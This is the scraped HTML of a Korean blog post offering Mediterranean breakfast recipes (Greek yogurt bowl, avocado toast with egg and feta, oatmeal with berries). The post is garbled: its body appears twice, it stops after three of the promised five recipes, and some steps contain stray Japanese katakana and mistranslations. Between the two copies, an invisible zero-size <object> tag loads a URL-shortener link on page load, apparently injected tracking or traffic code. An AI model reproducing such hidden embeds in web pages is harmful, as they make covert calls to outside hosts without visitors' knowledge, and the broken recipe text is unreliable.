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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:55">건강한 지중해식 아침 식사 레시피 5가지: 맛있고 영양 넘치는 아침 식사를 위한 완벽한 가이드</h2><p data-sourcepos="3:1-3:164">지중해 식단은 건강과 맛으로 유명합니다. 올리브 오일, 견과류, 씨앗, 과일, 채소, 통곡물, 생선 및 유제품을 중심으로 하는 이 식단은 심장 건강, 뇌 기능 및 전반적인 건강을 개선하는 것으로 입증되었습니다. 지중해 식단의 장점 중 하나는 다양한 맛있는 아침 식사 옵션을 제공한다는 것입니다.</p><p data-sourcepos="5:1-5:145">이 블로그 게시물에서는 건강하고 영양가 있는 지중해식 아침 식사를 위한 5가지 간단하고 맛있는 레시피를 공유합니다. 이러한 레시피는 모두 만들기 쉽고 신선한 재료로 만들어집니다. 또한 맞춤 설정 및 다양한 방법을 제공하여 개인 취향에 맞게 조정할 수 있습니다.</p><p data-sourcepos="7:1-7:27"><strong>1. 그릭 요거트와 그라놀라 및 과일 토핑</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ee403d0c59e64000&quot;,&quot;c_92cd22150884fa1b&quot;,null,&quot;rc_26fd838c47198610&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///olivia1113/220616985071"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="그릭 요거트와 그라놀라 및 과일 토핑 " src="https://lh3.googleusercontent.com/bip/ACo7QZ75OU5-TvWu9gHardbskjhXNu2OxRkaIokywNGXRyiYtOv44gWD3j4PAsWjW8_TKtixm1sssw9bgmcbDyUcwHtNTlYI8H0AxUxRucw19e0acssp9JEGxfyhJiTU8McnJLuyLz5K_YAcV6bgqRfMr9m9hJIu9_tDX02thOKKc7JeHa6hQb3dCr1MtiV0S3GIkjtyaznuTdzFhPwClwD5H3chtnsfSkf86F4TRx80wO0=w250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s:///olivia1113/220616985071" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ee403d0c59e64000&quot;,&quot;c_92cd22150884fa1b&quot;,null,&quot;rc_26fd838c47198610&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption"></span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 그릭 요거트와 그라놀라 및 과일 토핑 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><p data-sourcepos="11:1-11:7"><strong>재료:</strong></p><ul data-sourcepos="13:1-18:0">
<li data-sourcepos="13:1-13:11">그릭 요거트 1컵</li>
<li data-sourcepos="14:1-14:11">그라놀라 1/2컵</li>
<li data-sourcepos="15:1-15:30">계절 과일 1/2컵 (블루베리, 딸기, 바나나 등)</li>
<li data-sourcepos="16:1-16:28">꿀 또는 메이플 시럽 1 테이블스푼 (선택사항)</li>
<li data-sourcepos="17:1-18:0">견과류 및 씨앗 1/4컵 (호두, 아몬드, 피스타치오, 치아 씨앗 등)</li>
</ul><p data-sourcepos="19:1-19:7"><strong>지침:</strong></p><ol data-sourcepos="21:1-24:0">
<li data-sourcepos="21:1-21:22">그릭 요거트를 큰 그릇에 담습니다.</li>
<li data-sourcepos="22:1-22:31">그라놀라, 과일, 견과류 및 씨앗을 넣고 섞습니다.</li>
<li data-sourcepos="23:1-24:0">꿀 또는 메이플 시럽을 뿌려 달콤하게 합니다 (선택사항).</li>
</ol><p data-sourcepos="25:1-25:6"><strong>팁:</strong></p><ul data-sourcepos="27:1-30:0">
<li data-sourcepos="27:1-27:42">다양한 종류의 그라놀라와 과일을 사용하여 이 레시피를 맞춤 설정하십시오.</li>
<li data-sourcepos="28:1-28:31">단백질을 추가하려면 요거트에 단백질 가루를 넣습니다.</li>
<li data-sourcepos="29:1-30:0">아침 식사에 더 많은 섬유질을 첨가하려면 치아씨 또는 아마씨를 넣습니다.</li>
</ul><p data-sourcepos="31:1-31:25"><strong>2. 아보카도 토스트 계란과 페타 치즈</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ee403d0c59e64000&quot;,&quot;c_92cd22150884fa1b&quot;,null,&quot;rc_26fd838c47198610&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///catseyesung/221402855332?viewType=pc"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="아보카도 토스트 계란과 페타 치즈 " src="https://lh3.googleusercontent.com/bip/ACo7QZ7zwrv_earLL9QG41bYcT3fw_DzqkFhO_BeoT8vmBoMcqWjtH5X2F5-3jL1B-NMnwJ_-sjqhoWqhwRdqbxa0yos8mcciLWfDV5ZCxC8GHwpt3x92x-N7PUkVVkyuY2R1V3GkRfOgIlp9BTFpiPFbHSa2AkhD00ztHLtBQvt0CFwm-T_JfL2xtFJ_6XsIqjsJGWSUrBKD_bGvhOyAdA4ye5MtvqXDYhodwWrqf5wnrpJwmM_e3sEKMEy_eA_zht6ncxvpgN4iSdBFt0bsEDbO-JeNXxA9Dz2Kr7M8Yp6CpFv9LPe7YDijS6Fug=w250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s:///catseyesung/221402855332?viewType=pc" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ee403d0c59e64000&quot;,&quot;c_92cd22150884fa1b&quot;,null,&quot;rc_26fd838c47198610&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption"></span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 아보카도 토스트 계란과 페타 치즈 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><p data-sourcepos="35:1-35:7"><strong>재료:</strong></p><ul data-sourcepos="37:1-43:0">
<li data-sourcepos="37:1-37:9">통밀빵 2조각</li>
<li data-sourcepos="38:1-38:17">아보카도 1/2개, 으깬 것</li>
<li data-sourcepos="39:1-39:7">계란 2개</li>
<li data-sourcepos="40:1-40:20">페타 치즈 1/4컵, 부수어진 것</li>
<li data-sourcepos="41:1-41:16">올리브 오일 1 테이블스푼</li>
<li data-sourcepos="42:1-43:0">소금과 후추 약간</li>
</ul><p data-sourcepos="44:1-44:7"><strong>지침:</strong></p><ol data-sourcepos="46:1-51:0">
<li data-sourcepos="46:1-46:15">토스트 통밀빵 2조각.</li>
<li data-sourcepos="47:1-47:31">각 토스트 조각에 아보카도 으깬 것을 펴 바릅니다.</li>
<li data-sourcepos="48:1-48:44">프라이팬에 올리브 오일을 중간 정도의 열로 두르고 달걀을 ポーチ드합니다.</li>
<li data-sourcepos="49:1-49:35">토스트 위에 ポーチ드 계란을 올리고 페타 치즈를 뿌립니다.</li>
<li data-sourcepos="50:1-51:0">소금과 후추로 간을 합니다.</li>
</ol><p data-sourcepos="52:1-52:6"><strong>팁:</strong></p><ul data-sourcepos="54:1-57:0">
<li data-sourcepos="54:1-55:44">아보카도 토스트에 더 많은 풍미를 더하려면 잘게 썬 토마토, 양파 또는 허브를 추가하십시오.
*ポーチ드 계란 대신 스크램블드 에그 또는 프라이드 에그를 사용할 수 있습니다.</li>
<li data-sourcepos="56:1-57:0">비건 옵션을 위해 페타 치즈를 비건 페타 치즈로 대체하십시오.</li>
</ul><p data-sourcepos="58:1-58:18"><strong>3. 오트밀 베리와 견과류</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ee403d0c59e64000&quot;,&quot;c_92cd22150884fa1b&quot;,null,&quot;rc_26fd838c47198610&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://kr.freepik.com/premium-photo/oatmeal-with-strawberries-blueberries-nuts-and-honey-on-a-light-background-top-view_32704763.htm"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="오트밀 베리와 견과류 " src="https://lh3.googleusercontent.com/bip/ACo7QZ5Ii-dw4Ap7g-qA432GopgPPDV9tA00Nlx3b8Awlld2xiPQCNzAF2bGQded3X32F3-QJRa8P1m_2L5Gf4KedaWu3E4wEpRsta4LnrFf6596C4DIsi769skSYKAd74jbHFhVahyz9fgjDb5mbKUkEwLl9bfS4ZzCGQy9HMuuu8mNgfczdhGYAyNv3z8GHNDSeH-EmQYQjS1qRrUITSAHJE7gXYhS=w250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://kr.freepik.com/premium-photo/oatmeal-with-strawberries-blueberries-nuts-and-honey-on-a-light-background-top-view_32704763.htm" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_ee403d0c59e64000&quot;,&quot;c_92cd22150884fa1b&quot;,null,&quot;rc_26fd838c47198610&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcRxFZepf9GXBJn0UKonkD_yjWkJTh-2zu1SvrxYufkvHTwKAY7x-NZiJeUZ0eLZP_J78Th9m0RjngHKiMHYv8QnWRYh7tYxnEU"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">kr.freepik.com</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 오트밀 베리와 견과류 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><p data-sourcepos="62:1-62:7"><strong>재료:</strong></p><ul data-sourcepos="64:1-70:0">
<li data-sourcepos="64:1-64:13">롤드 오트밀 1/2컵</li>
<li data-sourcepos="65:1-65:12">물 또는 우유 1컵</li>
<li data-sourcepos="66:1-66:30">계절 과일 1/2컵 (블루베리, 딸기, 바나나 등)</li>
<li data-sourcepos="67:1-67:41">견과류 및 씨앗 1/4컵 (호두, 아몬드, 피스타치오, 치아 씨앗 등)</li>
<li data-sourcepos="68:1-68:28">꿀 또는 메이플 시럽 1 테이블스푼 (선택사항)</li>
<li data-sourcepos="69:1-70:0">계피 1/4 티스푼 (선택사항)</li>
</ul><p data-sourcepos="71:1-71:7"><strong>지침:</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cfsN" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:55">건강한 지중해식 아침 식사 레시피 5가지: 맛있고 영양 넘치는 아침 식사를 위한 완벽한 가이드</h2><p data-sourcepos="3:1-3:164">지중해 식단은 건강과 맛으로 유명합니다. 올리브 오일, 견과류, 씨앗, 과일, 채소, 통곡물, 생선 및 유제품을 중심으로 하는 이 식단은 심장 건강, 뇌 기능 및 전반적인 건강을 개선하는 것으로 입증되었습니다. 지중해 식단의 장점 중 하나는 다양한 맛있는 아침 식사 옵션을 제공한다는 것입니다.</p><p data-sourcepos="5:1-5:145">이 블로그 게시물에서는 건강하고 영양가 있는 지중해식 아침 식사를 위한 5가지 간단하고 맛있는 레시피를 공유합니다. 이러한 레시피는 모두 만들기 쉽고 신선한 재료로 만들어집니다. 또한 맞춤 설정 및 다양한 방법을 제공하여 개인 취향에 맞게 조정할 수 있습니다.</p><p data-sourcepos="7:1-7:27"><strong>1. 그릭 요거트와 그라놀라 및 과일 토핑</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ee403d0c59e64000","c_92cd22150884fa1b",null,"rc_26fd838c47198610",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///olivia1113/220616985071"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="그릭 요거트와 그라놀라 및 과일 토핑 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ75OU5-TvWu9gHardbskjhXNu2OxRkaIokywNGXRyiYtOv44gWD3j4PAsWjW8_TKtixm1sssw9bgmcbDyUcwHtNTlYI8H0AxUxRucw19e0acssp9JEGxfyhJiTU8McnJLuyLz5K_YAcV6bgqRfMr9m9hJIu9_tDX02thOKKc7JeHa6hQb3dCr1MtiV0S3GIkjtyaznuTdzFhPwClwD5H3chtnsfSkf86F4TRx80wO0%3Dw250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s:///olivia1113/220616985071" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ee403d0c59e64000","c_92cd22150884fa1b",null,"rc_26fd838c47198610",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption"></span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 그릭 요거트와 그라놀라 및 과일 토핑 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><p data-sourcepos="11:1-11:7"><strong>재료:</strong></p><ul data-sourcepos="13:1-18:0">
<li data-sourcepos="13:1-13:11">그릭 요거트 1컵</li>
<li data-sourcepos="14:1-14:11">그라놀라 1/2컵</li>
<li data-sourcepos="15:1-15:30">계절 과일 1/2컵 (블루베리, 딸기, 바나나 등)</li>
<li data-sourcepos="16:1-16:28">꿀 또는 메이플 시럽 1 테이블스푼 (선택사항)</li>
<li data-sourcepos="17:1-18:0">견과류 및 씨앗 1/4컵 (호두, 아몬드, 피스타치오, 치아 씨앗 등)</li>
</ul><p data-sourcepos="19:1-19:7"><strong>지침:</strong></p><ol data-sourcepos="21:1-24:0">
<li data-sourcepos="21:1-21:22">그릭 요거트를 큰 그릇에 담습니다.</li>
<li data-sourcepos="22:1-22:31">그라놀라, 과일, 견과류 및 씨앗을 넣고 섞습니다.</li>
<li data-sourcepos="23:1-24:0">꿀 또는 메이플 시럽을 뿌려 달콤하게 합니다 (선택사항).</li>
</ol><p data-sourcepos="25:1-25:6"><strong>팁:</strong></p><ul data-sourcepos="27:1-30:0">
<li data-sourcepos="27:1-27:42">다양한 종류의 그라놀라와 과일을 사용하여 이 레시피를 맞춤 설정하십시오.</li>
<li data-sourcepos="28:1-28:31">단백질을 추가하려면 요거트에 단백질 가루를 넣습니다.</li>
<li data-sourcepos="29:1-30:0">아침 식사에 더 많은 섬유질을 첨가하려면 치아씨 또는 아마씨를 넣습니다.</li>
</ul><p data-sourcepos="31:1-31:25"><strong>2. 아보카도 토스트 계란과 페타 치즈</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ee403d0c59e64000","c_92cd22150884fa1b",null,"rc_26fd838c47198610",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///catseyesung/221402855332?viewType=pc"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="아보카도 토스트 계란과 페타 치즈 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ7zwrv_earLL9QG41bYcT3fw_DzqkFhO_BeoT8vmBoMcqWjtH5X2F5-3jL1B-NMnwJ_-sjqhoWqhwRdqbxa0yos8mcciLWfDV5ZCxC8GHwpt3x92x-N7PUkVVkyuY2R1V3GkRfOgIlp9BTFpiPFbHSa2AkhD00ztHLtBQvt0CFwm-T_JfL2xtFJ_6XsIqjsJGWSUrBKD_bGvhOyAdA4ye5MtvqXDYhodwWrqf5wnrpJwmM_e3sEKMEy_eA_zht6ncxvpgN4iSdBFt0bsEDbO-JeNXxA9Dz2Kr7M8Yp6CpFv9LPe7YDijS6Fug%3Dw250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s:///catseyesung/221402855332?viewType=pc" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ee403d0c59e64000","c_92cd22150884fa1b",null,"rc_26fd838c47198610",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption"></span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 아보카도 토스트 계란과 페타 치즈 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><p data-sourcepos="35:1-35:7"><strong>재료:</strong></p><ul data-sourcepos="37:1-43:0">
<li data-sourcepos="37:1-37:9">통밀빵 2조각</li>
<li data-sourcepos="38:1-38:17">아보카도 1/2개, 으깬 것</li>
<li data-sourcepos="39:1-39:7">계란 2개</li>
<li data-sourcepos="40:1-40:20">페타 치즈 1/4컵, 부수어진 것</li>
<li data-sourcepos="41:1-41:16">올리브 오일 1 테이블스푼</li>
<li data-sourcepos="42:1-43:0">소금과 후추 약간</li>
</ul><p data-sourcepos="44:1-44:7"><strong>지침:</strong></p><ol data-sourcepos="46:1-51:0">
<li data-sourcepos="46:1-46:15">토스트 통밀빵 2조각.</li>
<li data-sourcepos="47:1-47:31">각 토스트 조각에 아보카도 으깬 것을 펴 바릅니다.</li>
<li data-sourcepos="48:1-48:44">프라이팬에 올리브 오일을 중간 정도의 열로 두르고 달걀을 ポーチ드합니다.</li>
<li data-sourcepos="49:1-49:35">토스트 위에 ポーチ드 계란을 올리고 페타 치즈를 뿌립니다.</li>
<li data-sourcepos="50:1-51:0">소금과 후추로 간을 합니다.</li>
</ol><p data-sourcepos="52:1-52:6"><strong>팁:</strong></p><ul data-sourcepos="54:1-57:0">
<li data-sourcepos="54:1-55:44">아보카도 토스트에 더 많은 풍미를 더하려면 잘게 썬 토마토, 양파 또는 허브를 추가하십시오.
*ポーチ드 계란 대신 스크램블드 에그 또는 프라이드 에그를 사용할 수 있습니다.</li>
<li data-sourcepos="56:1-57:0">비건 옵션을 위해 페타 치즈를 비건 페타 치즈로 대체하십시오.</li>
</ul><p data-sourcepos="58:1-58:18"><strong>3. 오트밀 베리와 견과류</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2203227290="" class="ng-star-inserted"><div _ngcontent-ng-c2203227290="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2203227290="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2203227290="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ee403d0c59e64000","c_92cd22150884fa1b",null,"rc_26fd838c47198610",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://kr.freepik.com/premium-photo/oatmeal-with-strawberries-blueberries-nuts-and-honey-on-a-light-background-top-view_32704763.htm"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2203227290="" class="image loaded" alt="오트밀 베리와 견과류 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ5Ii-dw4Ap7g-qA432GopgPPDV9tA00Nlx3b8Awlld2xiPQCNzAF2bGQded3X32F3-QJRa8P1m_2L5Gf4KedaWu3E4wEpRsta4LnrFf6596C4DIsi769skSYKAd74jbHFhVahyz9fgjDb5mbKUkEwLl9bfS4ZzCGQy9HMuuu8mNgfczdhGYAyNv3z8GHNDSeH-EmQYQjS1qRrUITSAHJE7gXYhS%3Dw250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2203227290="" rel="noopener" class="source ng-star-inserted" s://kr.freepik.com/premium-photo/oatmeal-with-strawberries-blueberries-nuts-and-honey-on-a-light-background-top-view_32704763.htm" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ee403d0c59e64000","c_92cd22150884fa1b",null,"rc_26fd838c47198610",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2203227290="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRxFZepf9GXBJn0UKonkD_yjWkJTh-2zu1SvrxYufkvHTwKAY7x-NZiJeUZ0eLZP_J78Th9m0RjngHKiMHYv8QnWRYh7tYxnEU"><!----><span _ngcontent-ng-c2203227290="" class="label ellipsis gmat-caption">kr.freepik.com</span><span _ngcontent-ng-c2203227290="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2203227290="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 오트밀 베리와 견과류 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><p data-sourcepos="62:1-62:7"><strong>재료:</strong></p><ul data-sourcepos="64:1-70:0">
<li data-sourcepos="64:1-64:13">롤드 오트밀 1/2컵</li>
<li data-sourcepos="65:1-65:12">물 또는 우유 1컵</li>
<li data-sourcepos="66:1-66:30">계절 과일 1/2컵 (블루베리, 딸기, 바나나 등)</li>
<li data-sourcepos="67:1-67:41">견과류 및 씨앗 1/4컵 (호두, 아몬드, 피스타치오, 치아 씨앗 등)</li>
<li data-sourcepos="68:1-68:28">꿀 또는 메이플 시럽 1 테이블스푼 (선택사항)</li>
<li data-sourcepos="69:1-70:0">계피 1/4 티스푼 (선택사항)</li>
</ul><p data-sourcepos="71:1-71:7"><strong>지침:</strong></p></div>
</div></div>
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건강한 아침 식사 지중해식 식단
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